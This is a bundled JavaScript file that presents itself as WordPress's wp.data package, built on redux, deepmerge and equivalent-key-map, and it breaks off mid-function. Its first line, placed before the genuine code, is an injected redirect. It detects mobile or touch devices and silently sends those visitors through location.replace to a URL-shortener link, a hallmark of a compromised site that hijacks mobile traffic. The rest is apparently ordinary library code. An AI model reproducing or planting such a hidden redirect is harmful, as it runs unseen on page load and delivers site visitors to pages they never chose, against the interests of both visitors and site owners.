1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).data = (() => {
5 var __create = Object.create;
6 var __defProp = Object.defineProperty;
7 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
8 var __getOwnPropNames = Object.getOwnPropertyNames;
9 var __getProtoOf = Object.getPrototypeOf;
10 var __hasOwnProp = Object.prototype.hasOwnProperty;
11 var __commonJS = (cb, mod) => function __require() {
12 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
13 };
14 var __export = (target, all) => {
15 for (var name in all)
16 __defProp(target, name, { get: all[name], enumerable: true });
17 };
18 var __copyProps = (to, from, except, desc) => {
19 if (from && typeof from === "object" || typeof from === "function") {
20 for (let key of __getOwnPropNames(from))
21 if (!__hasOwnProp.call(to, key) && key !== except)
22 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
23 }
24 return to;
25 };
26 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
27 // If the importer is in node compatibility mode or this is not an ESM
28 // file that has been converted to a CommonJS file using a Babel-
29 // compatible transform (i.e. "__esModule" has not been set), then set
30 // "default" to the CommonJS "module.exports" for node compatibility.
31 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
32 mod
33 ));
34 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
35
36 // package-external:@wordpress/deprecated
37 var require_deprecated = __commonJS({
38 "package-external:@wordpress/deprecated"(exports, module) {
39 module.exports = window.wp.deprecated;
40 }
41 });
42
43 // node_modules/equivalent-key-map/equivalent-key-map.js
44 var require_equivalent_key_map = __commonJS({
45 "node_modules/equivalent-key-map/equivalent-key-map.js"(exports, module) {
46 "use strict";
47 function _typeof(obj) {
48 if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") {
49 _typeof = function(obj2) {
50 return typeof obj2;
51 };
52 } else {
53 _typeof = function(obj2) {
54 return obj2 && typeof Symbol === "function" && obj2.constructor === Symbol && obj2 !== Symbol.prototype ? "symbol" : typeof obj2;
55 };
56 }
57 return _typeof(obj);
58 }
59 function _classCallCheck(instance, Constructor) {
60 if (!(instance instanceof Constructor)) {
61 throw new TypeError("Cannot call a class as a function");
62 }
63 }
64 function _defineProperties(target, props) {
65 for (var i = 0; i < props.length; i++) {
66 var descriptor = props[i];
67 descriptor.enumerable = descriptor.enumerable || false;
68 descriptor.configurable = true;
69 if ("value" in descriptor) descriptor.writable = true;
70 Object.defineProperty(target, descriptor.key, descriptor);
71 }
72 }
73 function _createClass(Constructor, protoProps, staticProps) {
74 if (protoProps) _defineProperties(Constructor.prototype, protoProps);
75 if (staticProps) _defineProperties(Constructor, staticProps);
76 return Constructor;
77 }
78 function getValuePair(instance, key) {
79 var _map = instance._map, _arrayTreeMap = instance._arrayTreeMap, _objectTreeMap = instance._objectTreeMap;
80 if (_map.has(key)) {
81 return _map.get(key);
82 }
83 var properties = Object.keys(key).sort();
84 var map = Array.isArray(key) ? _arrayTreeMap : _objectTreeMap;
85 for (var i = 0; i < properties.length; i++) {
86 var property = properties[i];
87 map = map.get(property);
88 if (map === void 0) {
89 return;
90 }
91 var propertyValue = key[property];
92 map = map.get(propertyValue);
93 if (map === void 0) {
94 return;
95 }
96 }
97 var valuePair = map.get("_ekm_value");
98 if (!valuePair) {
99 return;
100 }
101 _map.delete(valuePair[0]);
102 valuePair[0] = key;
103 map.set("_ekm_value", valuePair);
104 _map.set(key, valuePair);
105 return valuePair;
106 }
107 var EquivalentKeyMap3 = /* @__PURE__ */ (function() {
108 function EquivalentKeyMap4(iterable) {
109 _classCallCheck(this, EquivalentKeyMap4);
110 this.clear();
111 if (iterable instanceof EquivalentKeyMap4) {
112 var iterablePairs = [];
113 iterable.forEach(function(value, key) {
114 iterablePairs.push([key, value]);
115 });
116 iterable = iterablePairs;
117 }
118 if (iterable != null) {
119 for (var i = 0; i < iterable.length; i++) {
120 this.set(iterable[i][0], iterable[i][1]);
121 }
122 }
123 }
124 _createClass(EquivalentKeyMap4, [{
125 key: "set",
126 /**
127 * Add or update an element with a specified key and value.
128 *
129 * @param {*} key The key of the element to add.
130 * @param {*} value The value of the element to add.
131 *
132 * @return {EquivalentKeyMap} Map instance.
133 */
134 value: function set(key, value) {
135 if (key === null || _typeof(key) !== "object") {
136 this._map.set(key, value);
137 return this;
138 }
139 var properties = Object.keys(key).sort();
140 var valuePair = [key, value];
141 var map = Array.isArray(key) ? this._arrayTreeMap : this._objectTreeMap;
142 for (var i = 0; i < properties.length; i++) {
143 var property = properties[i];
144 if (!map.has(property)) {
145 map.set(property, new EquivalentKeyMap4());
146 }
147 map = map.get(property);
148 var propertyValue = key[property];
149 if (!map.has(propertyValue)) {
150 map.set(propertyValue, new EquivalentKeyMap4());
151 }
152 map = map.get(propertyValue);
153 }
154 var previousValuePair = map.get("_ekm_value");
155 if (previousValuePair) {
156 this._map.delete(previousValuePair[0]);
157 }
158 map.set("_ekm_value", valuePair);
159 this._map.set(key, valuePair);
160 return this;
161 }
162 /**
163 * Returns a specified element.
164 *
165 * @param {*} key The key of the element to return.
166 *
167 * @return {?*} The element associated with the specified key or undefined
168 * if the key can't be found.
169 */
170 }, {
171 key: "get",
172 value: function get(key) {
173 if (key === null || _typeof(key) !== "object") {
174 return this._map.get(key);
175 }
176 var valuePair = getValuePair(this, key);
177 if (valuePair) {
178 return valuePair[1];
179 }
180 }
181 /**
182 * Returns a boolean indicating whether an element with the specified key
183 * exists or not.
184 *
185 * @param {*} key The key of the element to test for presence.
186 *
187 * @return {boolean} Whether an element with the specified key exists.
188 */
189 }, {
190 key: "has",
191 value: function has(key) {
192 if (key === null || _typeof(key) !== "object") {
193 return this._map.has(key);
194 }
195 return getValuePair(this, key) !== void 0;
196 }
197 /**
198 * Removes the specified element.
199 *
200 * @param {*} key The key of the element to remove.
201 *
202 * @return {boolean} Returns true if an element existed and has been
203 * removed, or false if the element does not exist.
204 */
205 }, {
206 key: "delete",
207 value: function _delete(key) {
208 if (!this.has(key)) {
209 return false;
210 }
211 this.set(key, void 0);
212 return true;
213 }
214 /**
215 * Executes a provided function once per each key/value pair, in insertion
216 * order.
217 *
218 * @param {Function} callback Function to execute for each element.
219 * @param {*} thisArg Value to use as `this` when executing
220 * `callback`.
221 */
222 }, {
223 key: "forEach",
224 value: function forEach(callback) {
225 var _this = this;
226 var thisArg = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : this;
227 this._map.forEach(function(value, key) {
228 if (key !== null && _typeof(key) === "object") {
229 value = value[1];
230 }
231 callback.call(thisArg, value, key, _this);
232 });
233 }
234 /**
235 * Removes all elements.
236 */
237 }, {
238 key: "clear",
239 value: function clear() {
240 this._map = /* @__PURE__ */ new Map();
241 this._arrayTreeMap = /* @__PURE__ */ new Map();
242 this._objectTreeMap = /* @__PURE__ */ new Map();
243 }
244 }, {
245 key: "size",
246 get: function get() {
247 return this._map.size;
248 }
249 }]);
250 return EquivalentKeyMap4;
251 })();
252 module.exports = EquivalentKeyMap3;
253 }
254 });
255
256 // package-external:@wordpress/redux-routine
257 var require_redux_routine = __commonJS({
258 "package-external:@wordpress/redux-routine"(exports, module) {
259 module.exports = window.wp.reduxRoutine;
260 }
261 });
262
263 // package-external:@wordpress/compose
264 var require_compose = __commonJS({
265 "package-external:@wordpress/compose"(exports, module) {
266 module.exports = window.wp.compose;
267 }
268 });
269
270 // package-external:@wordpress/private-apis
271 var require_private_apis = __commonJS({
272 "package-external:@wordpress/private-apis"(exports, module) {
273 module.exports = window.wp.privateApis;
274 }
275 });
276
277 // node_modules/deepmerge/dist/cjs.js
278 var require_cjs = __commonJS({
279 "node_modules/deepmerge/dist/cjs.js"(exports, module) {
280 "use strict";
281 var isMergeableObject = function isMergeableObject2(value) {
282 return isNonNullObject(value) && !isSpecial(value);
283 };
284 function isNonNullObject(value) {
285 return !!value && typeof value === "object";
286 }
287 function isSpecial(value) {
288 var stringValue = Object.prototype.toString.call(value);
289 return stringValue === "[object RegExp]" || stringValue === "[object Date]" || isReactElement(value);
290 }
291 var canUseSymbol = typeof Symbol === "function" && Symbol.for;
292 var REACT_ELEMENT_TYPE = canUseSymbol ? /* @__PURE__ */ Symbol.for("react.element") : 60103;
293 function isReactElement(value) {
294 return value.$$typeof === REACT_ELEMENT_TYPE;
295 }
296 function emptyTarget(val) {
297 return Array.isArray(val) ? [] : {};
298 }
299 function cloneUnlessOtherwiseSpecified(value, options) {
300 return options.clone !== false && options.isMergeableObject(value) ? deepmerge2(emptyTarget(value), value, options) : value;
301 }
302 function defaultArrayMerge(target, source, options) {
303 return target.concat(source).map(function(element) {
304 return cloneUnlessOtherwiseSpecified(element, options);
305 });
306 }
307 function getMergeFunction(key, options) {
308 if (!options.customMerge) {
309 return deepmerge2;
310 }
311 var customMerge = options.customMerge(key);
312 return typeof customMerge === "function" ? customMerge : deepmerge2;
313 }
314 function getEnumerableOwnPropertySymbols(target) {
315 return Object.getOwnPropertySymbols ? Object.getOwnPropertySymbols(target).filter(function(symbol) {
316 return Object.propertyIsEnumerable.call(target, symbol);
317 }) : [];
318 }
319 function getKeys(target) {
320 return Object.keys(target).concat(getEnumerableOwnPropertySymbols(target));
321 }
322 function propertyIsOnObject(object, property) {
323 try {
324 return property in object;
325 } catch (_) {
326 return false;
327 }
328 }
329 function propertyIsUnsafe(target, key) {
330 return propertyIsOnObject(target, key) && !(Object.hasOwnProperty.call(target, key) && Object.propertyIsEnumerable.call(target, key));
331 }
332 function mergeObject(target, source, options) {
333 var destination = {};
334 if (options.isMergeableObject(target)) {
335 getKeys(target).forEach(function(key) {
336 destination[key] = cloneUnlessOtherwiseSpecified(target[key], options);
337 });
338 }
339 getKeys(source).forEach(function(key) {
340 if (propertyIsUnsafe(target, key)) {
341 return;
342 }
343 if (propertyIsOnObject(target, key) && options.isMergeableObject(source[key])) {
344 destination[key] = getMergeFunction(key, options)(target[key], source[key], options);
345 } else {
346 destination[key] = cloneUnlessOtherwiseSpecified(source[key], options);
347 }
348 });
349 return destination;
350 }
351 function deepmerge2(target, source, options) {
352 options = options || {};
353 options.arrayMerge = options.arrayMerge || defaultArrayMerge;
354 options.isMergeableObject = options.isMergeableObject || isMergeableObject;
355 options.cloneUnlessOtherwiseSpecified = cloneUnlessOtherwiseSpecified;
356 var sourceIsArray = Array.isArray(source);
357 var targetIsArray = Array.isArray(target);
358 var sourceAndTargetTypesMatch = sourceIsArray === targetIsArray;
359 if (!sourceAndTargetTypesMatch) {
360 return cloneUnlessOtherwiseSpecified(source, options);
361 } else if (sourceIsArray) {
362 return options.arrayMerge(target, source, options);
363 } else {
364 return mergeObject(target, source, options);
365 }
366 }
367 deepmerge2.all = function deepmergeAll(array, options) {
368 if (!Array.isArray(array)) {
369 throw new Error("first argument should be an array");
370 }
371 return array.reduce(function(prev, next) {
372 return deepmerge2(prev, next, options);
373 }, {});
374 };
375 var deepmerge_1 = deepmerge2;
376 module.exports = deepmerge_1;
377 }
378 });
379
380 // package-external:@wordpress/priority-queue
381 var require_priority_queue = __commonJS({
382 "package-external:@wordpress/priority-queue"(exports, module) {
383 module.exports = window.wp.priorityQueue;
384 }
385 });
386
387 // package-external:@wordpress/element
388 var require_element = __commonJS({
389 "package-external:@wordpress/element"(exports, module) {
390 module.exports = window.wp.element;
391 }
392 });
393
394 // package-external:@wordpress/is-shallow-equal
395 var require_is_shallow_equal = __commonJS({
396 "package-external:@wordpress/is-shallow-equal"(exports, module) {
397 module.exports = window.wp.isShallowEqual;
398 }
399 });
400
401 // vendor-external:react/jsx-runtime
402 var require_jsx_runtime = __commonJS({
403 "vendor-external:react/jsx-runtime"(exports, module) {
404 module.exports = window.ReactJSXRuntime;
405 }
406 });
407
408 // packages/data/build-module/index.mjs
409 var index_exports = {};
410 __export(index_exports, {
411 AsyncModeProvider: () => context_default2,
412 RegistryConsumer: () => RegistryConsumer,
413 RegistryProvider: () => context_default,
414 combineReducers: () => combineReducers2,
415 controls: () => controls,
416 createReduxStore: () => createReduxStore,
417 createRegistry: () => createRegistry,
418 createRegistryControl: () => createRegistryControl,
419 createRegistrySelector: () => createRegistrySelector,
420 createSelector: () => rememo_default,
421 dispatch: () => dispatch2,
422 plugins: () => plugins_exports,
423 register: () => register,
424 registerGenericStore: () => registerGenericStore,
425 registerStore: () => registerStore,
426 resolveSelect: () => resolveSelect2,
427 select: () => select2,
428 subscribe: () => subscribe,
429 suspendSelect: () => suspendSelect,
430 use: () => use,
431 useDispatch: () => use_dispatch_default,
432 useRegistry: () => useRegistry,
433 useSelect: () => useSelect,
434 useSuspenseSelect: () => useSuspenseSelect,
435 withDispatch: () => with_dispatch_default,
436 withRegistry: () => with_registry_default,
437 withSelect: () => with_select_default
438 });
439
440 // packages/data/build-module/registry.mjs
441 var import_deprecated2 = __toESM(require_deprecated(), 1);
442
443 // node_modules/redux/dist/redux.mjs
444 var $$observable = /* @__PURE__ */ (() => typeof Symbol === "function" && Symbol.observable || "@@observable")();
445 var symbol_observable_default = $$observable;
446 var randomString = () => Math.random().toString(36).substring(7).split("").join(".");
447 var ActionTypes = {
448 INIT: `@@redux/INIT${/* @__PURE__ */ randomString()}`,
449 REPLACE: `@@redux/REPLACE${/* @__PURE__ */ randomString()}`,
450 PROBE_UNKNOWN_ACTION: () => `@@redux/PROBE_UNKNOWN_ACTION${randomString()}`
451 };
452 var actionTypes_default = ActionTypes;
453 function isPlainObject(obj) {
454 if (typeof obj !== "object" || obj === null)
455 return false;
456 let proto = obj;
457 while (Object.getPrototypeOf(proto) !== null) {
458 proto = Object.getPrototypeOf(proto);
459 }
460 return Object.getPrototypeOf(obj) === proto || Object.getPrototypeOf(obj) === null;
461 }
462 function miniKindOf(val) {
463 if (val === void 0)
464 return "undefined";
465 if (val === null)
466 return "null";
467 const type = typeof val;
468 switch (type) {
469 case "boolean":
470 case "string":
471 case "number":
472 case "symbol":
473 case "function": {
474 return type;
475 }
476 }
477 if (Array.isArray(val))
478 return "array";
479 if (isDate(val))
480 return "date";
481 if (isError(val))
482 return "error";
483 const constructorName = ctorName(val);
484 switch (constructorName) {
485 case "Symbol":
486 case "Promise":
487 case "WeakMap":
488 case "WeakSet":
489 case "Map":
490 case "Set":
491 return constructorName;
492 }
493 return Object.prototype.toString.call(val).slice(8, -1).toLowerCase().replace(/\s/g, "");
494 }
495 function ctorName(val) {
496 return typeof val.constructor === "function" ? val.constructor.name : null;
497 }
498 function isError(val) {
499 return val instanceof Error || typeof val.message === "string" && val.constructor && typeof val.constructor.stackTraceLimit === "number";
500 }
501 function isDate(val) {
502 if (val instanceof Date)
503 return true;
504 return typeof val.toDateString === "function" && typeof val.getDate === "function" && typeof val.setDate === "function";
505 }
506 function kindOf(val) {
507 let typeOfVal = typeof val;
508 if (true) {
509 typeOfVal = miniKindOf(val);
510 }
511 return typeOfVal;
512 }
513 function createStore(reducer, preloadedState, enhancer) {
514 if (typeof reducer !== "function") {
515 throw new Error(false ? formatProdErrorMessage(2) : `Expected the root reducer to be a function. Instead, received: '${kindOf(reducer)}'`);
516 }
517 if (typeof preloadedState === "function" && typeof enhancer === "function" || typeof enhancer === "function" && typeof arguments[3] === "function") {
518 throw new Error(false ? formatProdErrorMessage(0) : "It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function. See https://redux.js.org/tutorials/fundamentals/part-4-store#creating-a-store-with-enhancers for an example.");
519 }
520 if (typeof preloadedState === "function" && typeof enhancer === "undefined") {
521 enhancer = preloadedState;
522 preloadedState = void 0;
523 }
524 if (typeof enhancer !== "undefined") {
525 if (typeof enhancer !== "function") {
526 throw new Error(false ? formatProdErrorMessage(1) : `Expected the enhancer to be a function. Instead, received: '${kindOf(enhancer)}'`);
527 }
528 return enhancer(createStore)(reducer, preloadedState);
529 }
530 let currentReducer = reducer;
531 let currentState = preloadedState;
532 let currentListeners = /* @__PURE__ */ new Map();
533 let nextListeners = currentListeners;
534 let listenerIdCounter = 0;
535 let isDispatching = false;
536 function ensureCanMutateNextListeners() {
537 if (nextListeners === currentListeners) {
538 nextListeners = /* @__PURE__ */ new Map();
539 currentListeners.forEach((listener, key) => {
540 nextListeners.set(key, listener);
541 });
542 }
543 }
544 function getState() {
545 if (isDispatching) {
546 throw new Error(false ? formatProdErrorMessage(3) : "You may not call store.getState() while the reducer is executing. The reducer has already received the state as an argument. Pass it down from the top reducer instead of reading it from the store.");
547 }
548 return currentState;
549 }
550 function subscribe2(listener) {
551 if (typeof listener !== "function") {
552 throw new Error(false ? formatProdErrorMessage(4) : `Expected the listener to be a function. Instead, received: '${kindOf(listener)}'`);
553 }
554 if (isDispatching) {
555 throw new Error(false ? formatProdErrorMessage(5) : "You may not call store.subscribe() while the reducer is executing. If you would like to be notified after the store has been updated, subscribe from a component and invoke store.getState() in the callback to access the latest state. See https://redux.js.org/api/store#subscribelistener for more details.");
556 }
557 let isSubscribed = true;
558 ensureCanMutateNextListeners();
559 const listenerId = listenerIdCounter++;
560 nextListeners.set(listenerId, listener);
561 return function unsubscribe() {
562 if (!isSubscribed) {
563 return;
564 }
565 if (isDispatching) {
566 throw new Error(false ? formatProdErrorMessage(6) : "You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api/store#subscribelistener for more details.");
567 }
568 isSubscribed = false;
569 ensureCanMutateNextListeners();
570 nextListeners.delete(listenerId);
571 currentListeners = null;
572 };
573 }
574 function dispatch3(action) {
575 if (!isPlainObject(action)) {
576 throw new Error(false ? formatProdErrorMessage(7) : `Actions must be plain objects. Instead, the actual type was: '${kindOf(action)}'. You may need to add middleware to your store setup to handle dispatching other values, such as 'redux-thunk' to handle dispatching functions. See https://redux.js.org/tutorials/fundamentals/part-4-store#middleware and https://redux.js.org/tutorials/fundamentals/part-6-async-logic#using-the-redux-thunk-middleware for examples.`);
577 }
578 if (typeof action.type === "undefined") {
579 throw new Error(false ? formatProdErrorMessage(8) : 'Actions may not have an undefined "type" property. You may have misspelled an action type string constant.');
580 }
581 if (typeof action.type !== "string") {
582 throw new Error(false ? formatProdErrorMessage(17) : `Action "type" property must be a string. Instead, the actual type was: '${kindOf(action.type)}'. Value was: '${action.type}' (stringified)`);
583 }
584 if (isDispatching) {
585 throw new Error(false ? formatProdErrorMessage(9) : "Reducers may not dispatch actions.");
586 }
587 try {
588 isDispatching = true;
589 currentState = currentReducer(currentState, action);
590 } finally {
591 isDispatching = false;
592 }
593 const listeners = currentListeners = nextListeners;
594 listeners.forEach((listener) => {
595 listener();
596 });
597 return action;
598 }
599 function replaceReducer(nextReducer) {
600 if (typeof nextReducer !== "function") {
601 throw new Error(false ? formatProdErrorMessage(10) : `Expected the nextReducer to be a function. Instead, received: '${kindOf(nextReducer)}`);
602 }
603 currentReducer = nextReducer;
604 dispatch3({
605 type: actionTypes_default.REPLACE
606 });
607 }
608 function observable() {
609 const outerSubscribe = subscribe2;
610 return {
611 /**
612 * The minimal observable subscription method.
613 * @param observer Any object that can be used as an observer.
614 * The observer object should have a `next` method.
615 * @returns An object with an `unsubscribe` method that can
616 * be used to unsubscribe the observable from the store, and prevent further
617 * emission of values from the observable.
618 */
619 subscribe(observer) {
620 if (typeof observer !== "object" || observer === null) {
621 throw new Error(false ? formatProdErrorMessage(11) : `Expected the observer to be an object. Instead, received: '${kindOf(observer)}'`);
622 }
623 function observeState() {
624 const observerAsObserver = observer;
625 if (observerAsObserver.next) {
626 observerAsObserver.next(getState());
627 }
628 }
629 observeState();
630 const unsubscribe = outerSubscribe(observeState);
631 return {
632 unsubscribe
633 };
634 },
635 [symbol_observable_default]() {
636 return this;
637 }
638 };
639 }
640 dispatch3({
641 type: actionTypes_default.INIT
642 });
643 const store = {
644 dispatch: dispatch3,
645 subscribe: subscribe2,
646 getState,
647 replaceReducer,
648 [symbol_observable_default]: observable
649 };
650 return store;
651 }
652 function compose(...funcs) {
653 if (funcs.length === 0) {
654 return (arg) => arg;
655 }
656 if (funcs.length === 1) {
657 return funcs[0];
658 }
659 return funcs.reduce((a, b) => (...args) => a(b(...args)));
660 }
661 function applyMiddleware(...middlewares) {
662 return (createStore2) => (reducer, preloadedState) => {
663 const store = createStore2(reducer, preloadedState);
664 let dispatch3 = () => {
665 throw new Error(false ? formatProdErrorMessage(15) : "Dispatching while constructing your middleware is not allowed. Other middleware would not be applied to this dispatch.");
666 };
667 const middlewareAPI = {
668 getState: store.getState,
669 dispatch: (action, ...args) => dispatch3(action, ...args)
670 };
671 const chain = middlewares.map((middleware) => middleware(middlewareAPI));
672 dispatch3 = compose(...chain)(store.dispatch);
673 return {
674 ...store,
675 dispatch: dispatch3
676 };
677 };
678 }
679
680 // packages/data/build-module/redux-store/index.mjs
681 var import_equivalent_key_map2 = __toESM(require_equivalent_key_map(), 1);
682 var import_redux_routine = __toESM(require_redux_routine(), 1);
683 var import_compose = __toESM(require_compose(), 1);
684
685 // packages/data/build-module/redux-store/combine-reducers.mjs
686 function combineReducers(reducers) {
687 const keys = Object.keys(reducers);
688 return function combinedReducer(state = {}, action) {
689 const nextState = {};
690 let hasChanged = false;
691 for (const key of keys) {
692 const reducer = reducers[key];
693 const prevStateForKey = state[key];
694 const nextStateForKey = reducer(prevStateForKey, action);
695 nextState[key] = nextStateForKey;
696 hasChanged = hasChanged || nextStateForKey !== prevStateForKey;
697 }
698 return hasChanged ? nextState : state;
699 };
700 }
701
702 // packages/data/build-module/factory.mjs
703 function createRegistrySelector(registrySelector) {
704 const selectorsByRegistry = /* @__PURE__ */ new WeakMap();
705 const wrappedSelector = (...args) => {
706 let selector = selectorsByRegistry.get(wrappedSelector.registry);
707 if (!selector) {
708 selector = registrySelector(wrappedSelector.registry.select);
709 selectorsByRegistry.set(wrappedSelector.registry, selector);
710 }
711 return selector(...args);
712 };
713 wrappedSelector.isRegistrySelector = true;
714 return wrappedSelector;
715 }
716 function createRegistryControl(registryControl) {
717 registryControl.isRegistryControl = true;
718 return registryControl;
719 }
720
721 // packages/data/build-module/controls.mjs
722 var SELECT = "@@data/SELECT";
723 var RESOLVE_SELECT = "@@data/RESOLVE_SELECT";
724 var DISPATCH = "@@data/DISPATCH";
725 function isObject(object) {
726 return object !== null && typeof object === "object";
727 }
728 function select(storeNameOrDescriptor, selectorName, ...args) {
729 return {
730 type: SELECT,
731 storeKey: isObject(storeNameOrDescriptor) ? storeNameOrDescriptor.name : storeNameOrDescriptor,
732 selectorName,
733 args
734 };
735 }
736 function resolveSelect(storeNameOrDescriptor, selectorName, ...args) {
737 return {
738 type: RESOLVE_SELECT,
739 storeKey: isObject(storeNameOrDescriptor) ? storeNameOrDescriptor.name : storeNameOrDescriptor,
740 selectorName,
741 args
742 };
743 }
744 function dispatch(storeNameOrDescriptor, actionName, ...args) {
745 return {
746 type: DISPATCH,
747 storeKey: isObject(storeNameOrDescriptor) ? storeNameOrDescriptor.name : storeNameOrDescriptor,
748 actionName,
749 args
750 };
751 }
752 var controls = { select, resolveSelect, dispatch };
753 var builtinControls = {
754 [SELECT]: createRegistryControl(
755 (registry) => ({ storeKey, selectorName, args }) => registry.select(storeKey)[selectorName](...args)
756 ),
757 [RESOLVE_SELECT]: createRegistryControl(
758 (registry) => ({ storeKey, selectorName, args }) => {
759 const method = registry.select(storeKey)[selectorName].hasResolver ? "resolveSelect" : "select";
760 return registry[method](storeKey)[selectorName](
761 ...args
762 );
763 }
764 ),
765 [DISPATCH]: createRegistryControl(
766 (registry) => ({ storeKey, actionName, args }) => registry.dispatch(storeKey)[actionName](...args)
767 )
768 };
769
770 // packages/data/build-module/lock-unlock.mjs
771 var import_private_apis = __toESM(require_private_apis(), 1);
772 var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
773 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
774 "@wordpress/data"
775 );
776
777 // node_modules/is-promise/index.mjs
778 function isPromise(obj) {
779 return !!obj && (typeof obj === "object" || typeof obj === "function") && typeof obj.then === "function";
780 }
781
782 // packages/data/build-module/promise-middleware.mjs
783 var promiseMiddleware = () => (next) => (action) => {
784 if (isPromise(action)) {
785 return action.then((resolvedAction) => {
786 if (resolvedAction) {
787 return next(resolvedAction);
788 }
789 });
790 }
791 return next(action);
792 };
793 var promise_middleware_default = promiseMiddleware;
794
795 // packages/data/build-module/resolvers-cache-middleware.mjs
796 var createResolversCacheMiddleware = (registry, storeName) => () => (next) => (action) => {
797 const resolvers = registry.select(storeName).getCachedResolvers();
798 const resolverEntries = Object.entries(resolvers);
799 resolverEntries.forEach(([selectorName, resolversByArgs]) => {
800 const resolver = registry.stores[storeName]?.resolvers?.[selectorName];
801 if (!resolver || !resolver.shouldInvalidate) {
802 return;
803 }
804 resolversByArgs.forEach((value, args) => {
805 if (value === void 0) {
806 return;
807 }
808 if (value.status !== "finished" && value.status !== "error") {
809 return;
810 }
811 if (!resolver.shouldInvalidate(action, ...args)) {
812 return;
813 }
814 registry.dispatch(storeName).invalidateResolution(selectorName, args);
815 });
816 });
817 return next(action);
818 };
819 var resolvers_cache_middleware_default = createResolversCacheMiddleware;
820
821 // packages/data/build-module/redux-store/thunk-middleware.mjs
822 function createThunkMiddleware(args) {
823 return () => (next) => (action) => {
824 if (typeof action === "function") {
825 return action(args);
826 }
827 return next(action);
828 };
829 }
830
831 // packages/data/build-module/redux-store/metadata/reducer.mjs
832 var import_equivalent_key_map = __toESM(require_equivalent_key_map(), 1);
833
834 // packages/data/build-module/redux-store/metadata/utils.mjs
835 var onSubKey = (actionProperty) => (reducer) => (state = {}, action) => {
836 const key = action[actionProperty];
837 if (key === void 0) {
838 return state;
839 }
840 const nextKeyState = reducer(state[key], action);
841 if (nextKeyState === state[key]) {
842 return state;
843 }
844 return {
845 ...state,
846 [key]: nextKeyState
847 };
848 };
849 function selectorArgsToStateKey(args) {
850 if (args === void 0 || args === null) {
851 return [];
852 }
853 const len = args.length;
854 let idx = len;
855 while (idx > 0 && args[idx - 1] === void 0) {
856 idx--;
857 }
858 return idx === len ? args : args.slice(0, idx);
859 }
860
861 // packages/data/build-module/redux-store/metadata/reducer.mjs
862 var subKeysIsResolved = onSubKey("selectorName")((state = new import_equivalent_key_map.default(), action) => {
863 switch (action.type) {
864 case "START_RESOLUTION": {
865 const nextState = new import_equivalent_key_map.default(state);
866 nextState.set(selectorArgsToStateKey(action.args), {
867 status: "resolving"
868 });
869 return nextState;
870 }
871 case "FINISH_RESOLUTION": {
872 const nextState = new import_equivalent_key_map.default(state);
873 nextState.set(selectorArgsToStateKey(action.args), {
874 status: "finished"
875 });
876 return nextState;
877 }
878 case "FAIL_RESOLUTION": {
879 const nextState = new import_equivalent_key_map.default(state);
880 nextState.set(selectorArgsToStateKey(action.args), {
881 status: "error",
882 error: action.error
883 });
884 return nextState;
885 }
886 case "START_RESOLUTIONS": {
887 const nextState = new import_equivalent_key_map.default(state);
888 for (const resolutionArgs of action.args) {
889 nextState.set(selectorArgsToStateKey(resolutionArgs), {
890 status: "resolving"
891 });
892 }
893 return nextState;
894 }
895 case "FINISH_RESOLUTIONS": {
896 const nextState = new import_equivalent_key_map.default(state);
897 for (const resolutionArgs of action.args) {
898 nextState.set(selectorArgsToStateKey(resolutionArgs), {
899 status: "finished"
900 });
901 }
902 return nextState;
903 }
904 case "FAIL_RESOLUTIONS": {
905 const nextState = new import_equivalent_key_map.default(state);
906 action.args.forEach((resolutionArgs, idx) => {
907 const resolutionState = {
908 status: "error",
909 error: void 0
910 };
911 const error = action.errors[idx];
912 if (error) {
913 resolutionState.error = error;
914 }
915 nextState.set(
916 selectorArgsToStateKey(resolutionArgs),
917 resolutionState
918 );
919 });
920 return nextState;
921 }
922 case "INVALIDATE_RESOLUTION": {
923 const nextState = new import_equivalent_key_map.default(state);
924 nextState.delete(selectorArgsToStateKey(action.args));
925 return nextState;
926 }
927 }
928 return state;
929 });
930 var isResolved = (state = {}, action) => {
931 switch (action.type) {
932 case "INVALIDATE_RESOLUTION_FOR_STORE":
933 return {};
934 case "INVALIDATE_RESOLUTION_FOR_STORE_SELECTOR": {
935 if (action.selectorName in state) {
936 const {
937 [action.selectorName]: removedSelector,
938 ...restState
939 } = state;
940 return restState;
941 }
942 return state;
943 }
944 case "START_RESOLUTION":
945 case "FINISH_RESOLUTION":
946 case "FAIL_RESOLUTION":
947 case "START_RESOLUTIONS":
948 case "FINISH_RESOLUTIONS":
949 case "FAIL_RESOLUTIONS":
950 case "INVALIDATE_RESOLUTION":
951 return subKeysIsResolved(state, action);
952 default:
953 return state;
954 }
955 };
956 var reducer_default = isResolved;
957
958 // packages/data/build-module/redux-store/metadata/selectors.mjs
959 var selectors_exports = {};
960 __export(selectors_exports, {
961 countSelectorsByStatus: () => countSelectorsByStatus,
962 getCachedResolvers: () => getCachedResolvers,
963 getIsResolving: () => getIsResolving,
964 getResolutionError: () => getResolutionError,
965 getResolutionState: () => getResolutionState,
966 hasFinishedResolution: () => hasFinishedResolution,
967 hasResolutionFailed: () => hasResolutionFailed,
968 hasResolvingSelectors: () => hasResolvingSelectors,
969 hasStartedResolution: () => hasStartedResolution,
970 isResolving: () => isResolving
971 });
972 var import_deprecated = __toESM(require_deprecated(), 1);
973
974 // node_modules/rememo/rememo.js
975 var LEAF_KEY = {};
976 function arrayOf(value) {
977 return [value];
978 }
979 function isObjectLike(value) {
980 return !!value && "object" === typeof value;
981 }
982 function createCache() {
983 var cache = {
984 clear: function() {
